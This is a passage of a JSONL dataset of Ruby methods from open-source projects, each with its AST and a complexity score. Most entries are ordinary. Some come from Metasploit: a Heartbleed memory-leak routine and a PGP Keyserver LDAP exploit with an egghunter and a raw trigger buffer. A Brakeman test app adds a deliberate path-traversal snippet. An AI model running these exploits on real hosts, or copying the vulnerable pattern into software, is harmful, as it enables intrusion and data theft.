end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"devices\"]},{\"type\":\"sym\",\"children\":[\"app_bundle\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"381f907a-13ea-4a47-b170-752b29af9956"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/generators/manageiq/plugin/plugin_generator.rb","start_line":188,"raw_source":"def rake_task_namespace\n @rake_task_namespace ||=\n if plugin_name.include?(\"-\")\n plugin_name.tr(\"-\", \":\").inspect\n else\n plugin_name.to_sym.inspect\n end\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rake_task_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rake_task_namespace\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_name\"]},\"tr\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\":\"]}]},\"inspect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_name\"]},\"to_sym\"]},\"inspect\"]}]}]}]}","id":"167a2fa4-3f75-4c3e-be00-27e9a4de2ff7"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":23,"raw_source":"def test_file_access\n File.open RAILS_ROOT + \"/\" + params[:file]\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_file_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RAILS_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]}]}","id":"e5d54228-cc95-4d4f-8e98-9925545bf28e"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_multiline_condition.rb","start_line":93,"raw_source":"def on_rescue(node)\n node.resbody_branches.each do |resbody|\n rescued_exceptions = resbody.exceptions\n next if !multiline_rescue_exceptions?(rescued_exceptions) ||\n next_line_empty?(rescued_exceptions.last.last_line)\n\n add_offense(resbody, &autocorrect(rescued_exceptions.last))\n end\n end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_rescue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"resbody_branches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resbody\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rescued_exceptions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resbody\"]},\"exceptions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multiline_rescue_exceptions?\",{\"type\":\"lvar\",\"children\":[\"rescued_exceptions\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"next_line_empty?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescued_exceptions\"]},\"last\"]},\"last_line\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"resbody\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescued_exceptions\"]},\"last\"]}]}]}]}]}]}]}","id":"2b251766-bc52-4ff7-877f-9b0aae2fe7be"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb","start_line":467,"raw_source":"def bleed\n connect_result = establish_connect\n return if connect_result.nil?\n\n vprint_status(\"Sending Heartbeat...\")\n sock.put(heartbeat_request(heartbeat_length))\n hdr = get_data(SSL_RECORD_HEADER_SIZE)\n if hdr.nil? || hdr.empty?\n vprint_error(\"No Heartbeat response...\")\n disconnect\n return\n end\n\n unpacked = hdr.unpack('Cnn')\n type = unpacked[0]\n version = unpacked[1] # must match the type from client_hello\n len = unpacked[2]\n\n # try to get the TLS error\n if type == ALERT_RECORD_TYPE\n res = get_data(len)\n alert_unp = res.unpack('CC')\n alert_level = alert_unp[0]\n alert_desc = alert_unp[1]\n\n # http://tools.ietf.org/html/rfc5246#section-7.2\n case alert_desc\n when 0x46\n msg = 'Protocol error. Looks like the chosen protocol is not supported.'\n else\n msg = 'Unknown error'\n end\n vprint_error(\"#{msg}\")\n disconnect\n return\n end\n\n unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]\n vprint_error(\"Unexpected Heartbeat response header (#{to_hex_string(hdr)})\")\n disconnect\n return\n end\n\n heartbeat_data = get_data(heartbeat_length)\n vprint_status(\"Heartbeat response, #{heartbeat_data.length} bytes\")\n disconnect\n heartbeat_data\n end","complexity_score":64.1,"ast_json":"{\"type\":\"def\",\"children\":[\"bleed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connect_result\",{\"type\":\"send\",\"children\":[null,\"establish_connect\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connect_result\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending Heartbeat...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"heartbeat_request\",{\"type\":\"send\",\"children\":[null,\"heartbeat_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hdr\",{\"type\":\"send\",\"children\":[null,\"get_data\",{\"type\":\"const\",\"children\":[null,\"SSL_RECORD_HEADER_SIZE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No Heartbeat response...\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unpacked\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"Cnn\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacked\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacked\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacked\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ALERT_RECORD_TYPE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"get_data\",{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alert_unp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"CC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alert_level\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert_unp\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alert_desc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert_unp\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert_desc\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[70]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"Protocol error. Looks like the chosen protocol is not supported.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"Unknown error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HEARTBEAT_RECORD_TYPE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TLS_VERSION\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"tls_version\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected Heartbeat response header (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hex_string\",{\"type\":\"lvar\",\"children\":[\"hdr\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"heartbeat_data\",{\"type\":\"send\",\"children\":[null,\"get_data\",{\"type\":\"send\",\"children\":[null,\"heartbeat_length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Heartbeat response, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heartbeat_data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"lvar\",\"children\":[\"heartbeat_data\"]}]}]}","id":"8aba989a-021a-48b3-ab1a-8f845a5bcdcd"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/strategies/hierarchy.rb","start_line":38,"raw_source":"def operator_map\n super.dup.tap do |super_value|\n super_value[\"eq_with_descendants\"] = ::Queries::Operators::CustomFields::Hierarchies::EqualsWithDescendants\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"operator_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"super_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_value\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"eq_with_descendants\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Operators\"]},\"CustomFields\"]},\"Hierarchies\"]},\"EqualsWithDescendants\"]}]}]}]}","id":"798eb372-a263-4187-843e-d7f81b6a964b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/sami_ftpd_user.rb","start_line":90,"raw_source":"def check\n connect\n banner = sock.get_once(-1, 3)\n disconnect\n\n unless banner.include?('Sami FTP Server')\n return CheckCode::Safe('Target is not Sami FTP Server')\n end\n\n if banner.include?('Sami FTP Server 2.0.2')\n return CheckCode::Appears('Sami FTP Server version 2.0.2.')\n end\n\n CheckCode::Detected\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Sami FTP Server\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target is not Sami FTP Server\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Sami FTP Server 2.0.2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Sami FTP Server version 2.0.2.\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]}]}","id":"e2228cae-f4a5-4f20-bcb2-6f8003d09cb5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/memory_search.rb","start_line":59,"raw_source":"def regex\n datastore['REGEX']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REGEX\"]}]}]}","id":"030b673b-dd8c-4819-87be-a98b6f99b477"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/incident_management/timeline_event/promote_from_note.rb","start_line":33,"raw_source":"def find_object(id:)\n GitlabSchema.object_from_id(id, expected_type: ::Note).sync\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_object\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"object_from_id\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Note\"]}]}]}]},\"sync\"]}]}","id":"84ab4ab9-8b1a-4faf-b8f8-32c89fc9bc87"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/deprecation/method_wrappers_test.rb","start_line":64,"raw_source":"def test_deprecate_class_method\n mod = Module.new do\n extend self\n\n def old_method\n \"abc\"\n end\n end\n @deprecator.deprecate_methods(mod, :old_method)\n\n assert_deprecated(\"old_method\", @deprecator) do\n assert_equal \"abc\", mod.old_method\n end\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deprecate_class_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"def\",\"children\":[\"old_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"abc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deprecator\"]},\"deprecate_methods\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"sym\",\"children\":[\"old_method\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_deprecated\",{\"type\":\"str\",\"children\":[\"old_method\"]},{\"type\":\"ivar\",\"children\":[\"@deprecator\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"abc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"old_method\"]}]}]}]}]}","id":"126f6dec-ac56-42c7-8553-18a3997185a9"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/build_bundle.rb","start_line":63,"raw_source":"def build_bundle_file_sizes(client: nil)\n @build_bundle_file_sizes ||= BuildBundleFileSizes.all(client: client, build_bundle_id: id)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_bundle_file_sizes\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@build_bundle_file_sizes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BuildBundleFileSizes\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build_bundle_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}","id":"a79f4ac9-cf9b-4d6f-b6bf-ffe105db4b93"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/model.rb","start_line":67,"raw_source":"def to_json(*options)\n instance_variables.map do |var|\n [var.to_s[1..-1], instance_variable_get(var)]\n end.to_h.to_json(*options)\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variables\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"lvar\",\"children\":[\"var\"]}]}]}]},\"to_h\"]},\"to_json\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"4d448b2b-6c26-4353-8c76-a587e06ab43d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/service_ping_context.rb","start_line":35,"raw_source":"def check_configuration(data_source, event)\n unless ALLOWED_SOURCES.include?(data_source.to_sym)\n configuration_error(\"#{data_source} is not acceptable data source for ServicePingContext\")\n end\n\n return unless event.nil?\n\n configuration_error(\"event attribute is required\")\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_configuration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_source\"]},{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_SOURCES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_source\"]},\"to_sym\"]}]},null,{\"type\":\"send\",\"children\":[null,\"configuration_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_source\"]}]},{\"type\":\"str\",\"children\":[\" is not acceptable data source for ServicePingContext\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"configuration_error\",{\"type\":\"str\",\"children\":[\"event attribute is required\"]}]}]}]}","id":"f5c1d571-8479-46e7-b54d-2a3c0933c5ce"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/enqueue_background_job.rb","start_line":6,"raw_source":"def perform(job_name, user_id)\n case job_name\n when 'start_immich_import'\n Import::ImmichGeodataJob.perform_later(user_id)\n when 'start_photoprism_import'\n Import::PhotoprismGeodataJob.perform_later(user_id)\n when 'start_reverse_geocoding', 'continue_reverse_geocoding'\n Jobs::Create.new(job_name, user_id).call\n else\n raise ArgumentError, \"Unknown job name: #{job_name}\"\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"start_immich_import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"ImmichGeodataJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"start_photoprism_import\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"PhotoprismGeodataJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"start_reverse_geocoding\"]},{\"type\":\"str\",\"children\":[\"continue_reverse_geocoding\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"Create\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown job name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]}]}]}]}]}]}","id":"220b551e-b318-4e9e-bbfc-d6ace6927edd"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/export.rb","start_line":130,"raw_source":"def model_class\n if type == 'Spree::Exports::Customers'\n Spree.user_class\n else\n \"Spree::#{type.demodulize.singularize}\".constantize\n end\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"model_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Spree::Exports::Customers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"user_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Spree::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"demodulize\"]},\"singularize\"]}]}]},\"constantize\"]}]}]}","id":"e46055ac-99f7-4b79-9009-e4558cc37207"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/custom_field_format.rb","start_line":80,"raw_source":"def enterprise_feature_allowed?\n !@enterprise_feature || EnterpriseToken.allows_to?(@enterprise_feature)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enterprise_feature_allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@enterprise_feature\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]},\"allows_to?\",{\"type\":\"ivar\",\"children\":[\"@enterprise_feature\"]}]}]}]}","id":"0b5ec130-5b3e-4cc6-8c32-6c2db3428ba0"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/core/utils.rb","start_line":58,"raw_source":"def log_request_response(level, request, response)\n Integrations::Protocol::LogMessage.new(\n name: self.class.name,\n level: level,\n message: { request: request.to_s, response: response.to_s, level: level }.to_json\n )\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"log_request_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Protocol\"]},\"LogMessage\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"level\"]}]}]},\"to_json\"]}]}]}]}]}","id":"894e14d4-e5b4-4d88-9a0b-59446e5416c7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ldap/pgp_keyserver7.rb","start_line":60,"raw_source":"def exploit\n connect\n\n # - Maximum payload space is 102 so we use EggHunter instead.\n # - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.\n\n hunter\t= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })\n egg\t= hunter[1]\n\n eggstart = \"\\x30\\x82\\x01\\xd9\\x02\\x01\\x01\\x60\\x82\\x01\\xd2\\x02\\x01\\x03\\x04\\x82\\x01\\xc9\" # ldapsearch sniff\n eggend = \"\\x80\\x00\"\n\n print_status(\"Sending trigger and hunter first...\")\n\n buf = \"\\x30\\xfe\\x02\\x01\\x01\\x63\\x20\\x04\\x00\\x0a\\x01\\x02\\x0a\\x01\\x00\\x02\\x01\\x00\" # PROTOS suite sniff\n buf << [target['Ret']].pack('V') + hunter[0]\n buf << \"\\x00\"\n\n sock.put(buf)\n\n disconnect\n\n connect\n\n print_status(\"Sending hunted payload...\")\n sock.put(eggstart + egg + eggend)\n\n handler\n disconnect\n 